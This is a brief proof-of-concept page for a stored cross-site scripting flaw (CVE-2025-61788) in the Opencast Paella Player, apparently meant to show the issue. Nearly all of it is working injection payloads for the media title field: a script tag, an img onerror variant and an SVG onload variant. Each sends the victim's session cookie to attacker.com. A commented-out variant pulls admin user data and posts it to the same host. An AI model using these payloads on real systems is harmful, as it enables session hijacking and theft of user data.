CVE-2025-61788 Opencast Paella播放器存储型XSS漏洞

<!-- CVE-2025-61788 - Opencast Paella Player Stored XSS PoC This PoC demonstrates how an attacker with write access can inject malicious HTML/JavaScript through media metadata fields. --> <!-- Step 1: Attacker uploads media with malicious metadata --> <!-- The following payload is injected into the media title field --> <script> // Steal session cookie and send to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); // Or perform actions on behalf of the victim // fetch('/admin/api/users', { credentials: 'include' }) // .then(r => r.json()) // .then(data => fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) })); </script> <!-- Alternative payload using img onerror for cookie theft --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Alternative payload using SVG for XSS --> <svg onload="new Image().src='https://attacker.com/x?'+document.cookie"> <!-- Step 2: When victim views the media in Paella player, the malicious script executes --> <!-- The payload gets rendered as part of the media metadata display -->